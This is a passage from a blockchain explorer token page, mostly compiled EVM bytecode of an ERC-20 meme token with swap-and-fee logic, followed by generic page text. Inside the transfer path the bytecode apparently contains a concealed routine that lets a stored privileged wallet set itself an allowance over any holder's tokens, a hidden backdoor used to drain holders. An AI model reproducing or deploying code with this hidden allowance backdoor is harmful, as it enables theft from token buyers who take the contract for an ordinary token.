ffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f2f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f539190612a8f565b81600181518110611f6757611f66612e80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fcd3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110ce565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161202f959493929190613158565b5f604051808303815f87803b158015612046575f80fd5b505af1158015612058573d5f803e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156120de573d5f803e3d5ffd5b5050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361211f5760019050612179565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361215b5760019050612179565b5f820361216b5760019050612179565b6121768484846122fe565b90505b9392505050565b5f808303612190575f90506121f1565b5f828461219d9190612a3a565b90508284826121ac91906131dd565b146121ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e39061327d565b60405180910390fd5b809150505b92915050565b5f61223883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061246d565b905092915050565b5f81831161224e5782612250565b815b905092915050565b5f808284612266919061329b565b9050838110156122ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a290613318565b60405180910390fd5b8091505092915050565b5f6122f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dad565b905092915050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806123e0575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123df575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b5b15612463578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5f90509392505050565b5f80831182906124b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124aa9190612558565b60405180910390fd5b505f83856124c191906131dd565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156125055780820151818401526020810190506124ea565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61252a826124ce565b61253481856124d8565b93506125448185602086016124e8565b61254d81612510565b840191505092915050565b5f6020820190508181035f8301526125708184612520565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6125b282612589565b9050919050565b6125c2816125a8565b81146125cc575f80fd5b50565b5f813590506125dd816125b9565b92915050565b5f819050919050565b6125f5816125e3565b81146125ff575f80fd5b50565b5f81359050612610816125ec565b92915050565b5f806040838503121561262c5761262b612581565b5b5f612639858286016125cf565b925050602061264a85828601612602565b9150509250929050565b5f8115159050919050565b61266881612654565b82525050565b5f6020820190506126815f83018461265f565b92915050565b612690816125e3565b82525050565b5f6020820190506126a95f830184612687565b92915050565b5f805f606084860312156126c6576126c5612581565b5b5f6126d3868287016125cf565b93505060206126e4868287016125cf565b92505060406126f586828701612602565b9150509250925092565b5f60ff82169050919050565b612714816126ff565b82525050565b5f60208201905061272d5f83018461270b565b92915050565b5f6020828403121561274857612747612581565b5b5f612755848285016125cf565b91505092915050565b612767816125a8565b82525050565b5f6020820190506127805f83018461275e565b92915050565b5f806040838503121561279c5761279b612581565b5b5f6127a9858286016125cf565b92505060206127ba858286016125cf565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6127f86020836124d8565b9150612803826127c4565b602082019050919050565b5f6020820190508181035f830152612825816127ec565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6128606017836124d8565b915061286b8261282c565b602082019050919050565b5f6020820190508181035f83015261288d81612854565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612916578086048111156128f2576128f1612894565b5b60018516156129015780820291505b808102905061290f856128c1565b94506128d6565b94509492505050565b5f8261292e57600190506129e9565b8161293b575f90506129e9565b8160018114612951576002811461295b5761298a565b60019150506129e9565b60ff84111561296d5761296c612894565b5b8360020a91508482111561298457612983612894565b5b506129e9565b5060208310610133831016604e8410600b84101617156129bf5782820a9050838111156129ba576129b9612894565b5b6129e9565b6129cc84848460016128cd565b925090508184048111156129e3576129e2612894565b5b81810290505b9392505050565b5f6129fa826125e3565b9150612a05836126ff565b9250612a327fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461291f565b905092915050565b5f612a44826125e3565b9150612a4f836125e3565b9250828202612a5d816125e3565b91508282048414831517612a7457612a73612894565b5b5092915050565b5f81519050612a89816125b9565b92915050565b5f60208284031215612aa457612aa3612581565b5b5f612ab184828501612a7b565b91505092915050565b5f604082019050612acd5f83018561275e565b612ada602083018461275e565b9392505050565b5f819050919050565b5f819050919050565b5f612b0d612b08612b0384612ae1565b612aea565b6125e3565b9050919050565b612b1d81612af3565b82525050565b5f60c082019050612b365f83018961275e565b612b436020830188612687565b612b506040830187612b14565b612b5d6060830186612b14565b612b6a608083018561275e565b612b7760a0830184612687565b979650505050505050565b5f81519050612b90816125ec565b92915050565b5f805f60608486031215612bad57612bac612581565b5b5f612bba86828701612b82565b9350506020612bcb86828701612b82565b9250506040612bdc86828701612b82565b9150509250925092565b5f604082019050612bf95f83018561275e565b612c066020830184612687565b9392505050565b612c1681612654565b8114612c20575f80fd5b50565b5f81519050612c3181612c0d565b92915050565b5f60208284031215612c4c57612c4b612581565b5b5f612c5984828501612c23565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612cbc6024836124d8565b9150612cc782612c62565b604082019050919050565b5f6020820190508181035f830152612ce981612cb0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d4a6022836124d8565b9150612d5582612cf0565b604082019050919050565b5f6020820190508181035f830152612d7781612d3e565b9050919050565b7f45524332303a20756e61626c6520746f207472616e7366657220746f207a65725f8201527f6f20616464726573730000000000000000000000000000000000000000000000602082015250565b5f612dd86029836124d8565b9150612de382612d7e565b604082019050919050565b5f6020820190508181035f830152612e0581612dcc565b9050919050565b5f612e16826125e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e4857612e47612894565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f612ed0612ecb612ec684612ead565b612aea565b6125e3565b9050919050565b612ee081612eb6565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612f18816125a8565b82525050565b5f612f298383612f0f565b60208301905092915050565b5f602082019050919050565b5f612f4b82612ee6565b612f558185612ef0565b9350612f6083612f00565b805f5b83811015612f90578151612f778882612f1e565b9750612f8283612f35565b925050600181019050612f63565b5085935050505092915050565b5f604082019050612fb05f830185612ed7565b8181036020830152612fc28184612f41565b90509392505050565b5f80fd5b612fd882612510565b810181811067ffffffffffffffff82111715612ff757612ff6612e53565b5b80604052505050565b5f613009612578565b90506130158282612fcf565b919050565b5f67ffffffffffffffff82111561303457613033612e53565b5b602082029050602081019050919050565b5f80fd5b5f61305b6130568461301a565b613000565b9050808382526020820190506020840283018581111561307e5761307d613045565b5b835b818110156130a757806130938882612b82565b845260208401935050602081019050613080565b5050509392505050565b5f82601f8301126130c5576130c4612fcb565b5b81516130d5848260208601613049565b91505092915050565b5f602082840312156130f3576130f2612581565b5b5f82015167ffffffffffffffff8111156131105761310f612585565b5b61311c848285016130b1565b91505092915050565b5f61312f826125e3565b915061313a836125e3565b925082820390508181111561315257613151612894565b5b92915050565b5f60a08201905061316b5f830188612687565b6131786020830187612b14565b818103604083015261318a8186612f41565b9050613199606083018561275e565b6131a66080830184612687565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6131e7826125e3565b91506131f2836125e3565b925082613202576132016131b0565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132676021836124d8565b91506132728261320d565b604082019050919050565b5f6020820190508181035f8301526132948161325b565b9050919050565b5f6132a5826125e3565b91506132b0836125e3565b92508282019050808211156132c8576132c7612894565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613302601b836124d8565b915061330d826132ce565b602082019050919050565b5f6020820190508181035f83015261332f816132f6565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f9c06e2d17c80d39c36ce488f367dc89ae07521eca2fa57d93749e5ea7892edf64736f6c63430008180033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.